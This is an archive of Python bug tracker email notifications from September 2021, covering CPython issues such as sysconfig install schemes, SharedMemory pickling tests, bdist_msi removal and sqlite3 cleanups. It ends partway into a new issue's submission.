nosy: +lukasz.langa, pablogsal, petr.viktorin
priority: normal -> release blocker

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:03:53 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 10:03:53 +0000
Subject: [issue44860] sysconfig's posix_user scheme has different platlib
 value to distutils's unix_user
In-Reply-To: <1628346558.35.0.0800108572532.issue44860@roundup.psfhosted.org>
Message-ID: <1631009033.84.0.245274657125.issue44860@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:

IIUC we need to backport PR27655 to 3.10 no? Or do we need something else?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:17:52 2021
From: report at bugs.python.org (Nikita Sobolev)
Date: Tue, 07 Sep 2021 10:17:52 +0000
Subject: [issue45125] Improve tests and docs of how `pickle` works with
 `SharedMemory` obejcts
Message-ID: <1631009872.94.0.369430162871.issue45125@roundup.psfhosted.org>


New submission from Nikita Sobolev :

As we've discussed in https://bugs.python.org/msg401146 we need to improve how `SharedMemory` is documented and tested. Right now docs do not cover `pickle` at all (https://github.com/python/cpython/blob/main/Doc/library/multiprocessing.shared_memory.rst). And this is an important aspect in multiprocessing.

`SharedMemory` and `pickle` in `test_shared_memory_basics` (https://github.com/python/cpython/blob/a5c6bcf24479934fe9c5b859dd1cf72685a0003a/Lib/test/_test_multiprocessing.py#L3789-L3794):

```
sms.buf[0:6] = b'pickle'
pickled_sms = pickle.dumps(sms)
sms2 = pickle.loads(pickled_sms)
self.assertEqual(sms.name, sms2.name)
self.assertEqual(bytes(sms.buf[0:6]), bytes(sms2.buf[0:6]), b'pickle')
```

`ShareableList` has better coverage in this regard (https://github.com/python/cpython/blob/a5c6bcf24479934fe9c5b859dd1cf72685a0003a/Lib/test/_test_multiprocessing.py#L4121-L4144):

```
    def test_shared_memory_ShareableList_pickling(self):
        sl = shared_memory.ShareableList(range(10))
        self.addCleanup(sl.shm.unlink)

        serialized_sl = pickle.dumps(sl)
        deserialized_sl = pickle.loads(serialized_sl)
        self.assertTrue(
            isinstance(deserialized_sl, shared_memory.ShareableList)
        )
        self.assertTrue(deserialized_sl[-1], 9)
        self.assertFalse(sl is deserialized_sl)
        deserialized_sl[4] = "changed"
        self.assertEqual(sl[4], "changed")

        # Verify data is not being put into the pickled representation.
        name = 'a' * len(sl.shm.name)
        larger_sl = shared_memory.ShareableList(range(400))
        self.addCleanup(larger_sl.shm.unlink)
        serialized_larger_sl = pickle.dumps(larger_sl)
        self.assertTrue(len(serialized_sl) == len(serialized_larger_sl))
        larger_sl.shm.close()

        deserialized_sl.shm.close()
        sl.shm.close()
```

So, my plan is:
1. Improve testing of `SharedMemory` after pickling/unpickling. I will create a separate test with all the `pickle`-related stuff there
2. Improve docs: user must understand what will have when `SharedMemory`  / `SharableList` is pickled and unpickled. For example, the fact that it will still be shared can be a surprise to many.

I am going to send a PR with both thing somewhere this week.

I will glad to head any feedback before / after :)

----------
assignee: docs at python
components: Documentation, Tests
messages: 401219
nosy: docs at python, sobolevn
priority: normal
severity: normal
status: open
title: Improve tests and docs of how `pickle` works with `SharedMemory` obejcts
type: behavior
versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:18:13 2021
From: report at bugs.python.org (Nikita Sobolev)
Date: Tue, 07 Sep 2021 10:18:13 +0000
Subject: [issue45052] WithProcessesTestSharedMemory.test_shared_memory_basics
 fails on Windows
In-Reply-To: <1630347688.96.0.848198201023.issue45052@roundup.psfhosted.org>
Message-ID: <1631009893.02.0.218057368026.issue45052@roundup.psfhosted.org>


Nikita Sobolev  added the comment:

Closing and moving to https://bugs.python.org/issue45125

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:19:26 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 10:19:26 +0000
Subject: [issue44860] sysconfig's posix_user scheme has different platlib
 value to distutils's unix_user
In-Reply-To: <1628346558.35.0.0800108572532.issue44860@roundup.psfhosted.org>
Message-ID: <1631009966.44.0.431167915362.issue44860@roundup.psfhosted.org>


Petr Viktorin  added the comment:

Possibly together with PR28011.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:27:58 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 10:27:58 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631010478.55.0.808969477768.issue45035@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 5.0 -> 6.0
pull_requests: +26621
pull_request: https://github.com/python/cpython/pull/28196

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:28:21 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 10:28:21 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631010501.05.0.444098795681.issue45035@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:


New changeset 4f88161f07538dfb24a43189fd59bf966cb40817 by Tzu-ping Chung in branch 'main':
bpo-45035: Make sysconfig posix_home depend on platlibdir (GH-28011)
https://github.com/python/cpython/commit/4f88161f07538dfb24a43189fd59bf966cb40817


----------
nosy: +pablogsal

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:29:40 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 10:29:40 +0000
Subject: [issue44860] sysconfig's posix_user scheme has different platlib
 value to distutils's unix_user
In-Reply-To: <1628346558.35.0.0800108572532.issue44860@roundup.psfhosted.org>
Message-ID: <1631010580.84.0.340669760561.issue44860@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 9.0 -> 10.0
pull_requests: +26622
pull_request: https://github.com/python/cpython/pull/28197

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:30:18 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 10:30:18 +0000
Subject: [issue44963] anext_awaitable is not a collections.abc.Generator
In-Reply-To: <1629480240.94.0.904763304285.issue44963@roundup.psfhosted.org>
Message-ID: <1631010618.47.0.0178263493269.issue44963@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:


New changeset 533e725821b15e2df2cd4479a34597c1d8faf616 by Pablo Galindo Salgado in branch 'main':
bpo-44963: Implement send() and throw() methods for anext_awaitable objects (GH-27955)
https://github.com/python/cpython/commit/533e725821b15e2df2cd4479a34597c1d8faf616


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:30:23 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 10:30:23 +0000
Subject: [issue44963] anext_awaitable is not a collections.abc.Generator
In-Reply-To: <1629480240.94.0.904763304285.issue44963@roundup.psfhosted.org>
Message-ID: <1631010623.27.0.376897059344.issue44963@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 7.0 -> 8.0
pull_requests: +26623
pull_request: https://github.com/python/cpython/pull/28198

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:31:52 2021
From: report at bugs.python.org (Hugo van Kemenade)
Date: Tue, 07 Sep 2021 10:31:52 +0000
Subject: [issue39586] Deprecate bdist_msi: use bdist_wheel instead
In-Reply-To: <1581174472.55.0.332465806553.issue39586@roundup.psfhosted.org>
Message-ID: <1631010712.54.0.859959156583.issue39586@roundup.psfhosted.org>


Hugo van Kemenade  added the comment:

Following this deprecation in Python 3.9, please see https://bugs.python.org/issue45124 / https://github.com/python/cpython/pull/28195 to remove the deprecation in Python 3.11.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:32:41 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 10:32:41 +0000
Subject: [issue38644] Pass explicitly tstate to function calls
In-Reply-To: <1572445884.39.0.966254854932.issue38644@roundup.psfhosted.org>
Message-ID: <1631010761.17.0.767734926134.issue38644@roundup.psfhosted.org>


STINNER Victor  added the comment:

Raymond:
> This adds cost to our most critical code paths.  For example, type_call() will now be slower for every single object instantiation.

This issue is now closed. Please open a new issue if you consider that the code should be modified. It would also help to have a benchmark if it's a performance regression ;-)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:34:30 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 10:34:30 +0000
Subject: [issue45124] Remove deprecated bdist_msi command
In-Reply-To: <1631005719.97.0.212991443867.issue45124@roundup.psfhosted.org>
Message-ID: <1631010870.95.0.791779755134.issue45124@roundup.psfhosted.org>


STINNER Victor  added the comment:


New changeset eb254b43d2916ef8c0e9ca815fe047411d848aae by Hugo van Kemenade in branch 'main':
bpo-45124: Remove the bdist_msi command (GH-28195)
https://github.com/python/cpython/commit/eb254b43d2916ef8c0e9ca815fe047411d848aae


----------
nosy: +vstinner

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:34:49 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 10:34:49 +0000
Subject: [issue45124] Remove deprecated bdist_msi command
In-Reply-To: <1631005719.97.0.212991443867.issue45124@roundup.psfhosted.org>
Message-ID: <1631010889.82.0.541943909391.issue45124@roundup.psfhosted.org>


STINNER Victor  added the comment:

Thanks, I merged your PR.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:35:18 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 10:35:18 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631010918.69.0.844525467591.issue45035@roundup.psfhosted.org>


Petr Viktorin  added the comment:

Here, I'm not sure. What do people use --home for?

I don't think we need to match the `/usr/` scheme here. For Python software that's not part of a distro, I think just `lib/` is fine.

----------
nosy: +petr.viktorin

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:36:08 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 07 Sep 2021 10:36:08 +0000
Subject: [issue45125] Improve tests and docs of how `pickle` works with
 `SharedMemory` obejcts
In-Reply-To: <1631009872.94.0.369430162871.issue45125@roundup.psfhosted.org>
Message-ID: <1631010968.45.0.567296376121.issue45125@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

Go ahead. Fix also other issues in tests:

* All pickling tests should test with all supported protocols, not just with the default one.

* self.assertTrue(
            isinstance(deserialized_sl, shared_memory.ShareableList)
        )
assertIsinstance() can be used here.

* self.assertTrue(deserialized_sl[-1], 9)
What is this? If it tests that deserialized_sl[-1] is true, 9 should be removed. Should it be assertEqual() instead?

* self.assertFalse(sl is deserialized_sl)
assertIs() can be used here.

* self.assertTrue(len(serialized_sl) == len(serialized_larger_sl))
assertEqual() can be used here.

* All close() should either be called in the finally block, or registered with addCleanup(). Otherwise we will heave resource leaks if tests fail.

There may be other issues in other tests. Seems these tests need a clean up.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:38:40 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 10:38:40 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631011120.65.0.0200238009398.issue45035@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:

Hummmmm, I reviewed PR 38011 and the change made sense to me, but If you think we should reconsider PR 28011, please say so ASAP because the 3.10 backport is close to be merged

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:44:08 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 10:44:08 +0000
Subject: [issue45119] test_signal.test_itimer_virtual() failed on AMD64 Fedora
 Rawhide 3.x
In-Reply-To: <1630948256.1.0.298507689656.issue45119@roundup.psfhosted.org>
Message-ID: <1631011448.43.0.288132487708.issue45119@roundup.psfhosted.org>


STINNER Victor  added the comment:

The regression seems to come from this recent Linux kernel change:
https://github.com/torvalds/linux/commit/406dd42bd1ba0c01babf9cde169bb319e52f6147

If fixing the kernel takes too long, we can temporarily skip the test on Linux kernel 5.15 (or newer).

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:52:40 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 10:52:40 +0000
Subject: [issue45123] PyAiter_Check & PyObject_GetAiter issues
In-Reply-To: <1630990240.1.0.111200047499.issue45123@roundup.psfhosted.org>
Message-ID: <1631011960.16.0.36745375781.issue45123@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:


New changeset 2c3474a637949aa6f2f7e15f9764c2dfc49cdba1 by Yury Selivanov in branch 'main':
bpo-45123: PyAiter_Check and PyObject_GetAiter fix & rename. (GH-28194)
https://github.com/python/cpython/commit/2c3474a637949aa6f2f7e15f9764c2dfc49cdba1


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:52:40 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 10:52:40 +0000
Subject: [issue45123] PyAiter_Check & PyObject_GetAiter issues
In-Reply-To: <1630990240.1.0.111200047499.issue45123@roundup.psfhosted.org>
Message-ID: <1631011960.52.0.500493650772.issue45123@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 2.0 -> 3.0
pull_requests: +26624
pull_request: https://github.com/python/cpython/pull/28199

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 06:52:57 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 10:52:57 +0000
Subject: [issue44963] anext_awaitable is not a collections.abc.Generator
In-Reply-To: <1629480240.94.0.904763304285.issue44963@roundup.psfhosted.org>
Message-ID: <1631011977.79.0.316735121027.issue44963@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset adc80a58f9683468e0ba5a6eed72040f7f6ba405 by Miss Islington (bot) in branch '3.10':
bpo-44963: Implement send() and throw() methods for anext_awaitable objects (GH-27955)
https://github.com/python/cpython/commit/adc80a58f9683468e0ba5a6eed72040f7f6ba405


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:01:44 2021
From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=)
Date: Tue, 07 Sep 2021 11:01:44 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631012504.47.0.304457401477.issue45035@roundup.psfhosted.org>


Miro Hron?ok  added the comment:

> I don't think we need to match the `/usr/` scheme here. For Python software that's not part of a distro, I think just `lib/` is fine.

I agree.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:04:47 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 11:04:47 +0000
Subject: [issue44964] Semantics of PyCode_Addr2Line() changed
In-Reply-To: <1629482860.18.0.0801179280266.issue44964@roundup.psfhosted.org>
Message-ID: <1631012687.01.0.180277452021.issue44964@roundup.psfhosted.org>


Change by Pablo Galindo Salgado :


----------
keywords: +patch
pull_requests: +26625
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28200

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:05:38 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 11:05:38 +0000
Subject: [issue27277] Test runner should try to increase stack size if it is
 too low
In-Reply-To: <1465457335.09.0.330685258307.issue27277@psf.upfronthosting.co.za>
Message-ID: <1631012738.91.0.847910519123.issue27277@roundup.psfhosted.org>


Change by Irit Katriel :


----------
components:  -Interpreter Core
nosy: +iritkatriel, serhiy.storchaka
title: Fatal Python error: Segmentation fault in test_exceptions -> Test runner should try to increase stack size if it is too low
type: crash -> enhancement
versions: +Python 3.11 -Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:06:28 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 11:06:28 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631012788.06.0.305029087159.issue45035@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:

Miro, Petr, do you think then that we should revert PR 28011

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:07:01 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 11:07:01 +0000
Subject: [issue44963] anext_awaitable is not a collections.abc.Generator
In-Reply-To: <1629480240.94.0.904763304285.issue44963@roundup.psfhosted.org>
Message-ID: <1631012821.42.0.264799809177.issue44963@roundup.psfhosted.org>


Change by Pablo Galindo Salgado :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:07:31 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 11:07:31 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631012851.74.0.727444808295.issue45035@roundup.psfhosted.org>


Petr Viktorin  added the comment:

The use case is a "personal stash of Python modules", described here: https://docs.python.org/3/install/#alternate-installation-the-home-scheme

We don't need the lib/lib64 distinction here.  I'd revert the 3.11 change and go with /lib/ only.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:10:23 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 11:10:23 +0000
Subject: [issue36550] Avoid creating AttributeError exceptions in the debugger
In-Reply-To: <1554664547.38.0.626848411176.issue36550@roundup.psfhosted.org>
Message-ID: <1631013023.23.0.580715891031.issue36550@roundup.psfhosted.org>


Irit Katriel  added the comment:

Closing as the bug is not clear and the OP is not responding to requests on the PR to clarify it. Please create a new issue if you are still seeing a problem.

----------
nosy: +iritkatriel
resolution:  -> rejected
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:17:16 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 11:17:16 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631013436.95.0.509902076391.issue45035@roundup.psfhosted.org>


Change by Pablo Galindo Salgado :


----------
pull_requests: +26626
pull_request: https://github.com/python/cpython/pull/28201

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:17:56 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 11:17:56 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631013476.51.0.736588517698.issue45035@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:

Ok, I am reverting PR 28011. Someone should check it again and decide what to do, but this won't enter 3.10

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:18:58 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 11:18:58 +0000
Subject: [issue44964] Semantics of PyCode_Addr2Line() changed
In-Reply-To: <1629482860.18.0.0801179280266.issue44964@roundup.psfhosted.org>
Message-ID: <1631013538.42.0.950979618462.issue44964@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:


New changeset fa2c0b85a8d5c9486661083afdf38cbaadb3432a by Pablo Galindo Salgado in branch 'main':
bpo-44964: Add a note explaining the new semantics of f_last_i in frame objects (GH-28200)
https://github.com/python/cpython/commit/fa2c0b85a8d5c9486661083afdf38cbaadb3432a


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:19:01 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 11:19:01 +0000
Subject: [issue44964] Semantics of PyCode_Addr2Line() changed
In-Reply-To: <1629482860.18.0.0801179280266.issue44964@roundup.psfhosted.org>
Message-ID: <1631013541.7.0.892408571845.issue44964@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 2.0 -> 3.0
pull_requests: +26627
pull_request: https://github.com/python/cpython/pull/28202

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:19:03 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 11:19:03 +0000
Subject: [issue44964] Semantics of PyCode_Addr2Line() changed
In-Reply-To: <1629482860.18.0.0801179280266.issue44964@roundup.psfhosted.org>
Message-ID: <1631013543.78.0.053973146523.issue44964@roundup.psfhosted.org>


Change by Pablo Galindo Salgado :


----------
nosy:  -miss-islington
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:19:11 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 11:19:11 +0000
Subject: [issue37997] Segfault when using pickle with exceptions and dynamic
 class inheritance
In-Reply-To: <1567294757.43.0.590587702854.issue37997@roundup.psfhosted.org>
Message-ID: <1631013551.83.0.380073766457.issue37997@roundup.psfhosted.org>


Irit Katriel  added the comment:

I am unable to reproduce the crash with either example on 3.9 or 3.11 on a Mac. Please create a new issue if you still see a problem on a current version (>= 3.9).

----------
nosy: +iritkatriel
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:20:35 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 11:20:35 +0000
Subject: [issue44860] sysconfig's posix_user scheme has different platlib
 value to distutils's unix_user
In-Reply-To: <1628346558.35.0.0800108572532.issue44860@roundup.psfhosted.org>
Message-ID: <1631013635.73.0.461305777025.issue44860@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:


New changeset 608a6292366ebba20f33d93d8b52cbb928429e47 by Miss Islington (bot) in branch '3.10':
bpo-44860: Make sysconfig posix_user not depend on platlibdir (GH-27655) (GH-28197)
https://github.com/python/cpython/commit/608a6292366ebba20f33d93d8b52cbb928429e47


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:21:45 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 11:21:45 +0000
Subject: [issue44860] sysconfig's posix_user scheme has different platlib
 value to distutils's unix_user
In-Reply-To: <1628346558.35.0.0800108572532.issue44860@roundup.psfhosted.org>
Message-ID: <1631013705.72.0.672480327108.issue44860@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:

Petr, is something left to do for this release blocker? I am planning to start the release if everything is OK

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:36:59 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 07 Sep 2021 11:36:59 +0000
Subject: [issue44964] Semantics of PyCode_Addr2Line() changed
In-Reply-To: <1629482860.18.0.0801179280266.issue44964@roundup.psfhosted.org>
Message-ID: <1631014619.29.0.770097549157.issue44964@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset fc840736e54da0557616882012f362b809490165 by Miss Islington (bot) in branch '3.10':
bpo-44964: Add a note explaining the new semantics of f_last_i in frame objects (GH-28200)
https://github.com/python/cpython/commit/fc840736e54da0557616882012f362b809490165


----------
nosy: +miss-islington

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:43:36 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 11:43:36 +0000
Subject: [issue45123] PyAiter_Check & PyObject_GetAiter issues
In-Reply-To: <1630990240.1.0.111200047499.issue45123@roundup.psfhosted.org>
Message-ID: <1631015016.7.0.387325412034.issue45123@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:


New changeset 53257cf19fc06fff446815b3278d4b80ec3e7ba3 by Miss Islington (bot) in branch '3.10':
bpo-45123: PyAiter_Check and PyObject_GetAiter fix & rename. (GH-28194) (GH-28199)
https://github.com/python/cpython/commit/53257cf19fc06fff446815b3278d4b80ec3e7ba3


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:43:47 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 11:43:47 +0000
Subject: [issue42064] Convert sqlite3 to multi-phase initialisation (PEP 489)
In-Reply-To: <1602963425.44.0.576962569847.issue42064@roundup.psfhosted.org>
Message-ID: <1631015027.81.0.356241544457.issue42064@roundup.psfhosted.org>


Petr Viktorin  added the comment:


New changeset 0474d06008f8c9eba660ed20d336ffdc5c4db121 by Erlend Egeberg Aasland in branch 'main':
bpo-44991: Normalise `sqlite3` callback naming (GH-28088)
https://github.com/python/cpython/commit/0474d06008f8c9eba660ed20d336ffdc5c4db121


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:43:47 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 11:43:47 +0000
Subject: [issue44991] [sqlite3] cleanup callbacks (GIL handling, naming, ...)
In-Reply-To: <1629810432.44.0.0891439205465.issue44991@roundup.psfhosted.org>
Message-ID: <1631015027.87.0.184658792962.issue44991@roundup.psfhosted.org>


Petr Viktorin  added the comment:


New changeset 0474d06008f8c9eba660ed20d336ffdc5c4db121 by Erlend Egeberg Aasland in branch 'main':
bpo-44991: Normalise `sqlite3` callback naming (GH-28088)
https://github.com/python/cpython/commit/0474d06008f8c9eba660ed20d336ffdc5c4db121


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:44:42 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 11:44:42 +0000
Subject: [issue44991] [sqlite3] cleanup callbacks (GIL handling, naming, ...)
In-Reply-To: <1629810432.44.0.0891439205465.issue44991@roundup.psfhosted.org>
Message-ID: <1631015082.08.0.93728971756.issue44991@roundup.psfhosted.org>


Petr Viktorin  added the comment:

The remaining function_pinboard_* renames are part of PR-27940.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:46:12 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 11:46:12 +0000
Subject: [issue44860] sysconfig's posix_user scheme has different platlib
 value to distutils's unix_user
In-Reply-To: <1628346558.35.0.0800108572532.issue44860@roundup.psfhosted.org>
Message-ID: <1631015172.34.0.00468093483743.issue44860@roundup.psfhosted.org>


Change by Pablo Galindo Salgado :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:46:00 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 11:46:00 +0000
Subject: [issue45123] PyAiter_Check & PyObject_GetAiter issues
In-Reply-To: <1630990240.1.0.111200047499.issue45123@roundup.psfhosted.org>
Message-ID: <1631015160.44.0.498349233225.issue45123@roundup.psfhosted.org>


Change by Pablo Galindo Salgado :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:46:29 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 11:46:29 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631015189.17.0.778874548395.issue45035@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:


New changeset 97b754d4b46ad9dd63f68906484f805931578c81 by Pablo Galindo Salgado in branch 'main':
Revert "bpo-45035: Make sysconfig posix_home depend on platlibdir (GH-28011)" (GH-28201)
https://github.com/python/cpython/commit/97b754d4b46ad9dd63f68906484f805931578c81


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:46:02 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Tue, 07 Sep 2021 11:46:02 +0000
Subject: [issue45126] [sqlite3] cleanup and harden connection init
Message-ID: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>


New submission from Erlend E. Aasland :

